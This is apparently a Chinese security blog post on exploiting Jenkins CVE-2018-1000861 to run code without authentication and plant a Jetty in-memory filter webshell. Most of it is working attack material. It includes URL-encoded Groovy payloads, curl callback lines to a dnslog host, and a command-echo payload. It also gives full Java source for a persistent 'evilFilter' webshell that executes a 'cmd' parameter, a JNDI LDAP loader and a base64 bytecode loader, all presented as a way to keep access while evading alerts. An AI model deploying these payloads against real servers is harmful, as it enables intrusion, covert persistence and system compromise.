Jenkins CVE-2018-1000861 内存马注入
Jenkins 介绍
Jenkins是一个开源的、提供友好操作界面的持续集成(CI)工具,在企业中使用非常广泛
相关分析可以看 l1nk3r 师傅的文章:https://xz.aliyun.com/t/6361
作者 Orange 分析:https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html
前言
Jenkins 低版本下 (Jenkins <= 2.137 ) 我们可以在未授权的情况下通过 groovy 来进行命令执行, 而且利用方式也非常简单只需要发一个 Get 请求就可以了
网上的payload大多都是一些命令执行,请求外带的的情况
命令执行:
/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox
.groovy.SecureGroovyScript/checkScript
?sandbox=true
&value=public%20class%20x%20%7B%0A%20%20public%20x()%7B%0A%20%20%20%20%22touch%20%2Ftmp
%2Fsuccess%22.execute()%0A%20%20%7D%0A%7D
漏洞检测:
借助 dnslog 等平台进行检测 /securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox. groovy.SecureGroovyScript/checkScript? sandbox=true&value=import+groovy.transform.*%0a%40ASTTest(value%3d%7bassert+java.lang.R untime.getRuntime().exec("curl http://xxx.ceye.io/CVE-2018-1000861")%7d)%0aclass+Person%7b%7d
/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.
groovy.SecureGroovyScript/checkScript?
sandbox=true&value=import+groovy.transform.*%0a%40ASTTest(value%3d%7b+"curl
http://xxx.ceye.io/CVE-2018-1000861".execute().text+%7d)%0aclass+Person%7b%7d
通过时间延迟来判断命令是否执行:
延时5s http://localhost:8080/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.sc riptsecurity.sandbox.groovy.SecureGroovyScript/checkScript? sandbox=true&value=class%20abcd%7Babcd()%7Bsleep(5000)%7D%7D
但是我在实际利用的情况下,由于反弹shell这些非常容易检测,所以一利用就直接触发了告警,当时就在想有没有更好的利用手法,最好能传一个 webshell 上去,但是发现很多官方提供的 war 包可直接通过 java -jar 进行启动,所以文件上传也没什么可能性,于是我就尝试利用内存马来进行权限维持
内存马注入实际其实就是代码注入,在查阅了漏洞描述等文章后发现这里实际上是 Groovy 沙盒逃逸导致的漏洞,由于是 Groovy 代码执行,所以让内存马注入有了可能性
所以大致的思路如下:
发现 Jenkins 漏洞 -> 反弹shell触发告警尝试别的方法 -> 发现漏洞利用为 Groovy 代码执行 -> Jetty 回显 -> Jetty 内存马注入 -> Payload 体积过大问题
环境准备
Jenkins 下载:
修改可下任意版本
https://updates.jenkins-ci.org/download/war/2.31/jenkins.war
https://get.jenkins.io/war/2.302/jenkins.war
下载 war 包之后解压导入 IDEA ,然后利用如下命令开启远程调试模式,至此我们就可以动态调代码了
java -jar -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 jenkins2.137.war
命令执行回显
先不急着内存马注入,先尝试解决回显,毕竟回显是内存马的第一步,官方提供的 war 是可以直接 java -jar
进行启动
可以看到自带的是 Jetty
所以对应的我们就需要 Jetty 的回显链,这里直接参考大哥们的中间件回显项目
feihong师傅:https://github.com/feihong-cs/Java-Rce-Echo/tree/master/Jetty/code
su18师傅:https://github.com/su18/MemoryShell/tree/main/memshell-test/memshell-test-jetty
回显比较简单,我们只需要获取请求和响应然后将结果写到 response 中可以了,简单构造了一下
回显 Payload 如下:
不过这样全放到 get 里面体积会比较大,所以可以针对一些空格来压缩一下
public class x{
public x(){
Class clazz = Thread.currentThread().getClass();
java.lang.reflect.Field field = clazz.getDeclaredField("threadLocals");
field.setAccessible(true);
Object obj = field.get(Thread.currentThread());
field = obj.getClass().getDeclaredField("table");
field.setAccessible(true);
obj = field.get(obj);
Object[] obj_arr = (Object[]) obj;
String cmd = "whoami";
for(int i = 0; i < obj_arr.length; i++){
Object o = obj_arr[i];
if(o == null) continue;
field = o.getClass().getDeclaredField("value");
field.setAccessible(true);
obj = field.get(o);
if(obj != null && obj.getClass().getName().endsWith("AsyncHttpConnection")){
Object connection = obj;
java.lang.reflect.Method method = connection.getClass().getMethod("getRequest", null);
obj = method.invoke(connection, null);
method = obj.getClass().getMethod("getHeader", String.class);
cmd = (String)method.invoke(obj, "cmd");
if(cmd != null && !cmd.isEmpty()){
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
method = connection.getClass().getMethod("getPrintWriter", String.class);
java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(connection, "utf-8");
printWriter.println(res);
}
break;
}else if(obj != null && obj.getClass().getName().endsWith("HttpConnection")){
java.lang.reflect.Method method = obj.getClass().getDeclaredMethod("getHttpChannel", null);
Object httpChannel = method.invoke(obj, null);
method = httpChannel.getClass().getMethod("getRequest", null);
obj = method.invoke(httpChannel, null);
method = obj.getClass().getMethod("getHeader", String.class);
cmd = (String)method.invoke(obj, "cmd");
if(cmd != null && !cmd.isEmpty()){
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
method = httpChannel.getClass().getMethod("getResponse", null);
obj = method.invoke(httpChannel, null);
method = obj.getClass().getMethod("getWriter", null);
java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(obj, null);
printWriter.println(res);
}
break;
}
}
}
}
最终回显 Payload 如下(其实 payload 还可以进一步压缩:
命令在 header 中添加 cmd:ls 即可
/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%7B%0A%20%20%20%20public%20x()%7BClass%20clazz%20%3D%20Thread.currentThread().getClass()%3Bjava.lang.reflect.Field%20field%20%3D%20clazz.getDeclaredField(%22threadLocals%22)%3Bfield.setAccessible(true)%3BObject%20obj%20%3D%20field.get(Thread.currentThread())%3Bfield%20%3D%20obj.getClass().getDeclaredField(%22table%22)%3Bfield.setAccessible(true)%3Bobj%20%3D%20field.get(obj)%3BObject%5B%5D%20obj_arr%20%3D%20(Object%5B%5D)%20obj%3BString%20cmd%20%3D%20%22whoami%22%3B%0A%20%20%20%20%20%20%20%20for(int%20i%20%3D%200%3B%20i%20%3C%20obj_arr.length%3B%20i%2B%2B)%7BObject%20o%20%3D%20obj_arr%5Bi%5D%3Bif(o%20%3D%3D%20null)%20continue%3Bfield%20%3D%20o.getClass().getDeclaredField(%22value%22)%3Bfield.setAccessible(true)%3Bobj%20%3D%20field.get(o)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(obj%20!%3D%20null%20%26%26%20obj.getClass().getName().endsWith(%22AsyncHttpConnection%22))%7BObject%20connection%20%3D%20obj%3Bjava.lang.reflect.Method%20method%20%3D%20connection.getClass().getMethod(%22getRequest%22%2C%20null)%3Bobj%20%3D%20method.invoke(connection%2C%20null)%3Bmethod%20%3D%20obj.getClass().getMethod(%22getHeader%22%2C%20String.class)%3Bcmd%20%3D%20(String)method.invoke(obj%2C%20%22cmd%22)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(cmd%20!%3D%20null%20%26%26%20!cmd.isEmpty())%7BString%20res%20%3D%20new%20java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(%22%5C%5CA%22).next()%3Bmethod%20%3D%20connection.getClass().getMethod(%22getPrintWriter%22%2C%20String.class)%3Bjava.io.PrintWriter%20printWriter%20%3D%20(java.io.PrintWriter)method.invoke(connection%2C%20%22utf-8%22)%3BprintWriter.println(res)%3B%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20break%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7Delse%20if(obj%20!%3D%20null%20%26%26%20obj.getClass().getName().endsWith(%22HttpConnection%22))%7Bjava.lang.reflect.Method%20method%20%3D%20obj.getClass().getDeclaredMethod(%22getHttpChannel%22%2C%20null)%3BObject%20httpChannel%20%3D%20method.invoke(obj%2C%20null)%3Bmethod%20%3D%20httpChannel.getClass().getMethod(%22getRequest%22%2C%20null)%3Bobj%20%3D%20method.invoke(httpChannel%2C%20null)%3Bmethod%20%3D%20obj.getClass().getMethod(%22getHeader%22%2C%20String.class)%3Bcmd%20%3D%20(String)method.invoke(obj%2C%20%22cmd%22)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(cmd%20!%3D%20null%20%26%26%20!cmd.isEmpty())%7BString%20res%20%3D%20new%20java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(%22%5C%5CA%22).next()%3Bmethod%20%3D%20httpChannel.getClass().getMethod(%22getResponse%22%2C%20null)%3Bobj%20%3D%20method.invoke(httpChannel%2C%20null)%3Bmethod%20%3D%20obj.getClass().getMethod(%22getWriter%22%2C%20null)%3Bjava.io.PrintWriter%20printWriter%20%3D%20(java.io.PrintWriter)method.invoke(obj%2C%20null)%3BprintWriter.println(res)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20break%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%20%20%20%0A%7D
实现效果如下:
这样我们就可以不使用反弹shell 而通过回显payload 将命令结果进行显示
内存马注入
有了回显只能算是中间态,但是想要维持权限却远远不够,回显成功说明了内存马注入具有可能性,接下来就是内存马注入的利用,这里我们就关注 Jetty 的内存马
在网上最多的基本都是 tomcat 的内存马但是如果遇到其他中间件我们如何进行编写
这里主要来介绍一下我自己编写的一个思路
首先随便打一个断点,但是必须要确保断点处的代码会被运行到
我这里选择的是 Jenkins 的 JenkinsHttpSessionListener 毕竟 session 的创建和销毁肯定会运行到
然后我们就可以看到堆栈情况
这里直接关注到 chain.doFilter 这里,因为熟悉 Filter 内存马的都知道,最终都是放在一个链中的并有着先后顺序,我们的目标就是弄清楚链中放的是什么样的东西,然后我们自己构造出来给他塞到最前面
所以我们就需要先去看 chain 是从哪里取出来的
跟进之后发现 chain 是通过 getFilterChain 方法来进行获取的
跟进查看发现会遍历 ServletHandler#_filterPathMappings
并调用 getFilterHolder 来获取 FilterMapping#_holder 属性的值,添加到 _filters 中
最后 filters 会作为参数进入 Chain 的构造函数 ,最终返回 chain
从上面的源码可看出主要进行了两个步骤
- 获取 ServletHandler#_filterPathMappings 并进行遍历
- 获取 FilterMapping#_holder 并添加到 _filters 中
所以 ServletHandler、FilterMapping、FilterHolder 是我们目前需要关注的对象
ServletHandler
先来看 ServletHandler,由于我们编写的是 filter 内存马,所以我们就关注和 filter 有关的属性
上文说到我们的 chain 是通过调用 getFilterChain 来获取 ServletHandler#_filterPathMappings,所以搜索 _filterPathMappings 来寻找和 _filterPathMappings 有关的方法
我们这里关注到 updateMappings 方法,因为我们添加 filter 的时候肯定是会修改更新 mapping 所以我们需要知道更新过程中的一些细节
可以看到在更新 mapping 的时候会先从 _filterNameMap 属性中进行寻找如果没有找到 filtername 对应的 FilterHolder 那么就会抛错,然后就是将 filtermapping 添加到 _filterPathMappings
(最开始编写的时候就是这里没注意导致添加失败 - -
同时在 ServletHandler 中还有 prependFilterMapping 方法可直接将我们的 filtermap 放到第一个
看完 ServletHandler 我们可知晓注册内存马需要以下几步:
- 添加
到 ServletHandler#_filterNameMap 中 - 调用 ServletHandler#prependFilterMapping 将添加到 _filterNameMappings 中的第一位
FilterMapping
然后来看到 FilterMapping
这里我们主要关注我红框框出来的属性,通过结合上下文不难看出 _pathSpecs
为 urlpattern ,_filterName
为我们的 filter 的名字,FilterHolder 应该就是我们 Filter 的封装类
也就是说我们要构造一个 FilterHolder 然后把它放到 FilterMapping 的 _holder 属性中,然后把对应的 filtername 和 urlpattren 也放到 FilterMapping 的 _pathSpecs
和 _filterName 中
filtername 和 urlpattern 很好处理反射赋值就行了,所以并不是我们的重点关注对象,我们需要重点关注 FilterHolder
FilterHolder
来到 FilterHolder 发现是 Filter 的一个封装,发现构造函数传入的参数为 Filter 所以我们后面可以直接可以通过反射获取构造器来进行实例化
大致代码如下:
Class filterHolderClas = _filters[0].getClass();
Constructor filterHolderCons = filterHolderClas.getConstructor(javax.servlet.Filter.class);
Object filterHolder = filterHolderCons.newInstance(shell);
至此我们就是构造好了 FilterHolder 、FilterMapping
所以 filter 的流程大致如下:
ServletHandler#_filterPathMappings
-> FilterMapping#_holder
--> FilterHolder
---> Filter
寻找 ServletHandler 对象
所以接下来的目标就是寻找 ServletHandler 对象,在可获取到 request & response 的情况下,遍历线程来获取通常可作为起手式,接下来可配合 idea debug 进行寻找
对应属性对应的类都非常的清晰,这里我们的目标是寻找到 ServletHandler 对象
翻一下可在 request#_scope#_servletHander
中找到
所以最后的路径可找到 _servletHandler
request#_scope
request#_scope#_servletHandler
通过如下反射代码就可以获取到 ServletHandler 对象
....
Object _scope = JettyFilterMemShell.getField(shell.request,"_scope");
Object _servletHandler = JettyFilterMemShell.getField(_scope,"_servletHandler");
....
public static Object getField(Object obj, String fieldName) throws Exception {
Field f0 = null;
Class clas = obj.getClass();
while (clas != Object.class){
try {
f0 = clas.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e){
clas = clas.getSuperclass();
}
}
if (f0 != null){
f0.setAccessible(true);
return f0.get(obj);
}else {
throw new NoSuchFieldException(fieldName);
}
}
最终代码如下:
ps:由于内存马自己编写所以并没有测试多个版本,通用版本内存马可关注 su18 师傅 和 feihong师傅的项目
Su18师傅:https://github.com/feihong-cs/memShell
feihong师傅:https://github.com/feihong-cs/memShell
不过 Jenkins 这里的 jetty 内存马上面项目的方法会获取不到特定属性从而注入失败
import javax.servlet.*;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.Map;
@SuppressWarnings("all")
public class JettyFilterMemShell implements Filter {
Object request = null;
Object response = null;
boolean bool = false;
String filterName = "evilFilter";
String urlPattern = "/*";
static {
JettyFilterMemShell shell = new JettyFilterMemShell();
try {
shell.init();
Object _scope = JettyFilterMemShell.getField(shell.request,"_scope");
// 获取 ServletHandler 对象
Object _servletHandler = JettyFilterMemShell.getField(_scope,"_servletHandler");
Object[] _filters = (Object[]) JettyFilterMemShell.getField(_servletHandler,"_filters");
// 判断 filter 是否已注入,如果已注入就不继续运行代码
for (Object filter:_filters){
String _name = (String) JettyFilterMemShell.getField(filter,"_name");
if (_name.equals(shell.filterName)){
shell.bool = true;
break;
}
}
if (!shell.bool){
// 反射获取 FilterHolder 构造器并进行实例化
Class filterHolderClas = _filters[0].getClass();
Constructor filterHolderCons = filterHolderClas.getConstructor(javax.servlet.Filter.class);
Object filterHolder = filterHolderCons.newInstance(shell); 了
// 反射获取 FilterMapping 构造器并进行实例化
Object[] _filtersMappings = (Object[]) JettyFilterMemShell.getField(_servletHandler,"_filterMappings");
Class filterMappingClas = _filtersMappings[0].getClass();
Constructor filterMappingCons = filterMappingClas.getConstructor();
Object filterMapping = filterMappingCons.newInstance();
// 反射赋值 filter 名
Field _filterNameField = filterMappingClas.getDeclaredField("_filterName");
_filterNameField.setAccessible(true);
_filterNameField.set(filterMapping,shell.filterName);
// 反射赋值 _holder
Field _holderField = filterMappingClas.getDeclaredField("_holder");
_holderField.setAccessible(true);
_holderField.set(filterMapping,filterHolder);
// 反射赋值 urlpattern
Field _pathSpecsField = filterMappingClas.getDeclaredField("_pathSpecs");
_pathSpecsField.setAccessible(true);
_pathSpecsField.set(filterMapping,new String[]{shell.urlPattern});
/**
* private final Map<String, FilterHolder> _filterNameMap = new HashMap();
*
* at org.eclipse.jetty.servlet.ServletHandler.updateMappings(ServletHandler.java:1345)
* at org.eclipse.jetty.servlet.ServletHandler.setFilterMappings(ServletHandler.java:1542)
* at org.eclipse.jetty.servlet.ServletHandler.prependFilterMapping(ServletHandler.java:1242)
*/
// 属性带有 final 需要先反射修改 modifiers 才能编辑 final 变量
Field _filterNameMapField = _servletHandler.getClass().getDeclaredField("_filterNameMap");
_filterNameMapField.setAccessible(true);
Field modifiersField = Class.forName("java.lang.reflect.Field").getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(_filterNameMapField,_filterNameMapField.getModifiers()& ~Modifier.FINAL);
// 先把原来的取出来然后再放进去
Map _filterNameMap = (Map) _filterNameMapField.get(_servletHandler);
_filterNameMap.put(shell.filterName, filterHolder);
_filterNameMapField.set(_servletHandler,_filterNameMap);
// 调用 prependFilterMapping 将 mapping 放到第一个
Method prependFilterMappingMethod = _servletHandler.getClass().getDeclaredMethod("prependFilterMapping",filterMappingClas);
prependFilterMappingMethod.setAccessible(true);
prependFilterMappingMethod.invoke(_servletHandler,filterMapping);
}
}catch (Exception e){
e.printStackTrace();
}
}
public void init() throws Exception{
Class<?> clazz = Thread.currentThread().getClass();
Field field = clazz.getDeclaredField("threadLocals");
field.setAccessible(true);
Object object = field.get(Thread.currentThread());
field = object.getClass().getDeclaredField("table");
field.setAccessible(true);
object = field.get(object);
Object[] arrayOfObject = (Object[])object;
for (byte b = 0; b < arrayOfObject.length; b++) {
Object object1 = arrayOfObject[b];
if (object1 != null) {
field = object1.getClass().getDeclaredField("value");
field.setAccessible(true);
object = field.get(object1);
if (object != null && object.getClass().getName().endsWith("HttpConnection")) {
Method method = object.getClass().getDeclaredMethod("getHttpChannel", null);
Object object2 = method.invoke(object, null);
method = object2.getClass().getMethod("getRequest", null);
this.request = method.invoke(object2, null);
method = this.request.getClass().getMethod("getResponse", null);
this.response = method.invoke(this.request, null);
break;
}
}
}
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter("cmd");
if(cmd != null && !cmd.isEmpty()){
String[] cmds = null;
if(File.separator.equals("/")){
cmds = new String[]{"/bin/sh", "-c", cmd};
}else{
cmds = new String[]{"cmd", "/C", cmd};
}
Process process = Runtime.getRuntime().exec(cmds);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
public static Object getField(Object obj, String fieldName) throws Exception {
Field f0 = null;
Class clas = obj.getClass();
while (clas != Object.class){
try {
f0 = clas.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e){
clas = clas.getSuperclass();
}
}
if (f0 != null){
f0.setAccessible(true);
return f0.get(obj);
}else {
throw new NoSuchFieldException(fieldName);
}
}
}
前台 JNDI 内存马注入
由于前台是内存马注入会超长,所以采用 JNDI 注入来缩减长度
public class x {
public Object req = null;
public Object resp = null;
def x(){
Class clazz = Thread.currentThread().getClass();
java.lang.reflect.Field field = clazz.getDeclaredField("threadLocals");
field.setAccessible(true);
Object obj = field.get(Thread.currentThread());
field = obj.getClass().getDeclaredField("table");
field.setAccessible(true);
obj = field.get(obj);
Object[] obj_arr = (Object[]) obj;
for(int i = 0; i < obj_arr.length; i++){
Object o = obj_arr[i];
if(o == null) continue;
field = o.getClass().getDeclaredField("value");
field.setAccessible(true);
obj = field.get(o);
if(obj != null && obj.getClass().getName().endsWith("HttpConnection")){
java.lang.reflect.Method method = obj.getClass().getDeclaredMethod("getHttpChannel", null);
Object httpChannel = method.invoke(obj, null);
method = httpChannel.getClass().getMethod("getRequest", null);
this.req = method.invoke(httpChannel, null);
method = this.req.getClass().getMethod("getResponse",null);
this.resp = method.invoke(this.req,null);
method = this.resp.getClass().getMethod("getWriter",null);
java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(this.resp, null);
javax.naming.Context ctx = new javax.naming.InitialContext();
ctx.lookup("ldap://localhost:1389/JettyFilterMemShell");
break;
}
}
}
}
后台字节码加载
在 Jenkins 后台提供了脚本执行的地方,所以我们可以不需要顾及长度问题,直接字节码加载即可
利用 classloader 加载字节码
public class x {
public Object req = null;
public Object resp = null;
def x(){
Class clazz = Thread.currentThread().getClass();
java.lang.reflect.Field field = clazz.getDeclaredField("threadLocals");
field.setAccessible(true);
Object obj = field.get(Thread.currentThread());
field = obj.getClass().getDeclaredField("table");
field.setAccessible(true);
obj = field.get(obj);
Object[] obj_arr = (Object[]) obj;
for(int i = 0; i < obj_arr.length; i++){
Object o = obj_arr[i];
if(o == null) continue;
field = o.getClass().getDeclaredField("value");
field.setAccessible(true);
obj = field.get(o);
if(obj != null && obj.getClass().getName().endsWith("HttpConnection")){
java.lang.reflect.Method method = obj.getClass().getDeclaredMethod("getHttpChannel", null);
Object httpChannel = method.invoke(obj, null);
method = httpChannel.getClass().getMethod("getRequest", null);
this.req = method.invoke(httpChannel, null);
String data = "内存马字节码";
this.getClass(data).newInstance();
break;
}
}
}
public Class<?> getClass(String classCode) throws IOException, java.lang.reflect.InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException {
ClassLoader loader= Thread.currentThread().getContextClassLoader();
sun.misc.BASE64Decoder base64Decoder = new sun.misc.BASE64Decoder();
java.lang.reflect.Method method = null;
byte[] bytes = base64Decoder.decodeBuffer(classCode);
Class<?> clz = loader.getClass();
while (method == null && clz != Object.class) {
try {
method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
} catch (NoSuchMethodException ex) {
clz = clz.getSuperclass();
}
}
if (method != null) {
method.setAccessible(true);
return (Class<?>) method.invoke(loader, bytes, 0, bytes.length);
}
return null;
}
}
public class x extends javax.servlet.http.HttpServlet{
public Object req = null;
public Object resp = null;
def x(){
Class clazz = Thread.currentThread().getClass();
java.lang.reflect.Field field = clazz.getDeclaredField("threadLocals");
field.setAccessible(true);
Object obj = field.get(Thread.currentThread());
field = obj.getClass().getDeclaredField("table");
field.setAccessible(true);
obj = field.get(obj);
Object[] obj_arr = (Object[]) obj;
for(int i = 0; i < obj_arr.length; i++){
Object o = obj_arr[i];
if(o == null) continue;
field = o.getClass().getDeclaredField("value");
field.setAccessible(true);
obj = field.get(o);
if(obj != null && obj.getClass().getName().endsWith("HttpConnection")){
java.lang.reflect.Method method = obj.getClass().getDeclaredMethod("getHttpChannel", null);
Object httpChannel = method.invoke(obj, null);
method = httpChannel.getClass().getMethod("getRequest", null);
this.req = method.invoke(httpChannel, null);
method = this.req.getClass().getMethod("getResponse",null);
this.resp = method.invoke(this.req,null);
method = this.resp.getClass().getMethod("getWriter",null);
java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(this.resp, null);
String data = this.req.getParameter("data");
this.getClass(data).newInstance();
break;
}
}
}
public Class<?> getClass(String classCode) throws IOException, java.lang.reflect.InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException {
ClassLoader loader= Thread.currentThread().getContextClassLoader();
sun.misc.BASE64Decoder base64Decoder = new sun.misc.BASE64Decoder();
java.lang.reflect.Method method = null;
byte[] bytes = base64Decoder.decodeBuffer(classCode);
Class<?> clz = loader.getClass();
while (method == null && clz != Object.class) {
try {
method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
} catch (NoSuchMethodException ex) {
clz = clz.getSuperclass();
}
}
resp.getWriter().println(method.getName())
if (method != null) {
method.setAccessible(true);
return (Class<?>) method.invoke(loader, bytes, 0, bytes.length);
}
return null;
}
}